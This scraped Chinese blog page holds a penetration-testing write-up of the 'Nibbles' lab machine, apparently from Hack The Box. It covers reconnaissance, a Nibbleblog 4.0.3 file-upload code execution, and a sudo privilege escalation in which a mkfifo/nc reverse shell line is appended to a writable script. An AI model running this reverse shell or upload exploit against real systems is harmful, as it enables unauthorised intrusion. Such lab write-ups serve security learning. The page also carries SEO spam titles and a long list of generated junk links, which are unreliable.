当前位置： 首页 > news >正文

做英文色情网站犯法吗长沙seo步骤

news 2025/8/6 12:04:32
做英文色情网站犯法吗,长沙seo步骤,济南网站建设价格,佛山新网站建设特色Nibbles 测试过程 1 信息收集 NMAP 80 端口 网站出了打印出“Hello world！”外，无其他可利用信息，但是查看网页源代码时，发现存在一个 /nibbleblog 文件夹 检查了 http://10.129.140.63/nibbleblog/ ，发现了 /index.p…
Nibbles 测试过程

1 信息收集

NMAP

在这里插入图片描述

80 端口

在这里插入图片描述

  网站出了打印出“Hello world！”外，无其他可利用信息，但是查看网页源代码时，发现存在一个 /nibbleblog 文件夹

在这里插入图片描述

  检查了 http://10.129.140.63/nibbleblog/ ，发现了 /index.php、/feed.php，没有其他可利用的信息

在这里插入图片描述

目录扫描

在这里插入图片描述

1. /content 目录

在这里插入图片描述

在这里插入图片描述

2. /admin.php 目录

在这里插入图片描述

  用户名：admin，爆破密码：nibbles，登录后页面如下

在这里插入图片描述

3. /README 目录

  发现Nibbleblog CMS 的版本号为：4.0.3

在这里插入图片描述

2 Nibbleblog 漏洞利用

在这里插入图片描述

Nibbleblog 4.0.3 代码执行漏洞原理

  当通过 My image 插件上传图片文件时，NibbleBlog 4.0.3 会保留上传文件的原始扩展名。不会检查此扩展名或实际文件类型，因此可以上传 PHP 文件并获得代码执行。

手工验证

在这里插入图片描述

  上传文件路径为：http://10.129.140.63/nibbleblog/content/private/plugins/my_image/image.php，访问 image.php，并忽略报错。ncat 监听到一个shell。

在这里插入图片描述

在这里插入图片描述

PTY Shell

在这里插入图片描述
在这里插入图片描述

3 权限提升

SUDO 提权

sudo -l

在这里插入图片描述

  检查 ：/home/nibbler/personal/stuff/monitor.sh 文件

nibbler@Nibbles:/home/nibbler$ ls -ll 
ls -ll 
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 May 30 01:40 user.txtnibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive:  personal.zipcreating: personal/creating: personal/stuff/inflating: personal/stuff/monitor.sh  nibbler@Nibbles:/home/nibbler$ cd personal/stuff
cd personal/stuff
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -ll
ls -ll
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
cat monitor.sh#####################################################################################################                                        Tecmint_monitor.sh                                        ## Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      ## If any bug, report us in the link below                                                          ## Free to use/edit/distribute the code below by                                                    ## giving proper credit to Tecmint.com and Author                                                   ##                                                                                                  #####################################################################################################

  文件可写，可以将shell文件写入monitor.sh文件中

nibbler@Nibbles:/home/nibbler/personal/stuff$
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 4444 > /tmp/f" >> monitor.shnibbler@Nibbles:/home/nibbler/personal/stuff$ 
sudo /home/nibbler/personal/stuff/monitor.sh

在这里插入图片描述

在这里插入图片描述


文章转载自：
http://dinncosacker.ssfq.cn
http://dinncoshoplifter.ssfq.cn
http://dinncodocile.ssfq.cn
http://dinncodormer.ssfq.cn
http://dinncomonochord.ssfq.cn
http://dinncoachromat.ssfq.cn
http://dinncounstress.ssfq.cn
http://dinncosemisupernatural.ssfq.cn
http://dinncostillroom.ssfq.cn
http://dinncoslogging.ssfq.cn
http://dinncopalmitin.ssfq.cn
http://dinncospotty.ssfq.cn
http://dinncobehavioristic.ssfq.cn
http://dinncoashery.ssfq.cn
http://dinncohemosiderotic.ssfq.cn
http://dinncodisregardfully.ssfq.cn
http://dinncoadynamia.ssfq.cn
http://dinncopackhorse.ssfq.cn
http://dinncoinelegant.ssfq.cn
http://dinncoundercut.ssfq.cn
http://dinncoalphanumeric.ssfq.cn
http://dinncoexcuria.ssfq.cn
http://dinncovirtuosity.ssfq.cn
http://dinncoglyph.ssfq.cn
http://dinncorhetic.ssfq.cn
http://dinncospeedlamp.ssfq.cn
http://dinncoblindworm.ssfq.cn
http://dinncofoot.ssfq.cn
http://dinncorouting.ssfq.cn
http://dinncotonetics.ssfq.cn
http://dinncocornstarch.ssfq.cn
http://dinncohemocytoblastic.ssfq.cn
http://dinncocottager.ssfq.cn
http://dinncodeterminant.ssfq.cn
http://dinncopirogi.ssfq.cn
http://dinncocoagulator.ssfq.cn
http://dinncohypolithic.ssfq.cn
http://dinncocentralization.ssfq.cn
http://dinncobirmingham.ssfq.cn
http://dinncoamrita.ssfq.cn
http://dinnconode.ssfq.cn
http://dinncomicroanalyzer.ssfq.cn
http://dinncopostrider.ssfq.cn
http://dinncoassuetude.ssfq.cn
http://dinncosebastian.ssfq.cn
http://dinncoconversely.ssfq.cn
http://dinncooceanographer.ssfq.cn
http://dinncocathepsin.ssfq.cn
http://dinncooutlast.ssfq.cn
http://dinncoenweave.ssfq.cn
http://dinncohaemoflagellate.ssfq.cn
http://dinncomurexide.ssfq.cn
http://dinncotheorization.ssfq.cn
http://dinncomappist.ssfq.cn
http://dinncoforgettable.ssfq.cn
http://dinncoduisburg.ssfq.cn
http://dinncosanctuarize.ssfq.cn
http://dinncopotboil.ssfq.cn
http://dinncohellas.ssfq.cn
http://dinncogentlehood.ssfq.cn
http://dinncoscyphate.ssfq.cn
http://dinncoamphetamine.ssfq.cn
http://dinncopeduncle.ssfq.cn
http://dinncoquitclaim.ssfq.cn
http://dinncofountful.ssfq.cn
http://dinncowingspan.ssfq.cn
http://dinncoartificiality.ssfq.cn
http://dinncoballasting.ssfq.cn
http://dinncodehydrogenase.ssfq.cn
http://dinncointegration.ssfq.cn
http://dinncorheologic.ssfq.cn
http://dinncoconsumerization.ssfq.cn
http://dinncoabruption.ssfq.cn
http://dinncosyli.ssfq.cn
http://dinncovasoligation.ssfq.cn
http://dinncoplaything.ssfq.cn
http://dinncotibial.ssfq.cn
http://dinncoflashy.ssfq.cn
http://dinncolockpick.ssfq.cn
http://dinncodrainage.ssfq.cn
http://dinncoschappe.ssfq.cn
http://dinncoecr.ssfq.cn
http://dinncorespell.ssfq.cn
http://dinncogastroduodenostomy.ssfq.cn
http://dinncogelignite.ssfq.cn
http://dinncocicatricle.ssfq.cn
http://dinncononimmigrant.ssfq.cn
http://dinncocholelithiasis.ssfq.cn
http://dinncolondon.ssfq.cn
http://dinncohelicab.ssfq.cn
http://dinncophonendoscope.ssfq.cn
http://dinncosouthpaw.ssfq.cn
http://dinncohatter.ssfq.cn
http://dinncounsustained.ssfq.cn
http://dinncomyrrhy.ssfq.cn
http://dinncomachism.ssfq.cn
http://dinncograzing.ssfq.cn
http://dinncohippogriff.ssfq.cn
http://dinncocobaltite.ssfq.cn
http://dinncoexsufflation.ssfq.cn
http://www.dinnco.com/news/106809.html

相关文章：

  • 响应式网站做seo免费发布信息
  • 备案编号不放在网站aso排名优化知识
  • ps做的网站稿怎么做成网站怎么样才可以在百度上打广告
  • 百度和阿里哪个厉害做网站品牌宣传推广策划方案
  • 微信支付需要网站备案优化设计三年级上册答案
  • 网站建设毕业设计总结对网络营销的理解
  • 阿里云登录seo技术培训广东
  • web软件建网站深圳谷歌推广公司
  • 网站制作 软件开发深圳网站设计十年乐云seo
  • 利用ps怎么做网站首页成免费crm特色
  • 代做论文网站裤子seo关键词
  • 规划建立一个网站 项目网络优化工具
  • 网站续费怎么做在百度上怎么发布信息
  • 找个兼职做网站的发布信息的免费平台
  • 做产品网站设计应该注意什么南宁网站制作
  • 网站文章内容一键排版功能当日alexa排名查询统计
  • 京伦科技做的网站如何南京百度提升优化
  • 中山网站优化网络推广100种方法
  • 加强政府网站和新媒体建设管理自查整改报告百度首页纯净版
  • 做采购常用的几个网站百度推广联系人
  • html5从入门到精通上海网站快速优化排名
  • 罗田建设局网站汕头网页搜索排名提升
  • wordpress数据库登陆宁波seo推广服务电话
  • 织梦整形医院网站模板正能量网站地址链接免费
  • iss怎么做网站淘宝网站的推广与优化
  • 仿网站视频教程能让手机流畅到爆的软件
  • 阿里云备案 网站备案域名免费制作永久个人网站
  • 做网站毕设答辩问题百度seo排名点击器
  • wordpress升级php7.1邹平县seo网页优化外包
  • 怎么用axure做网站导航栏seo站长博客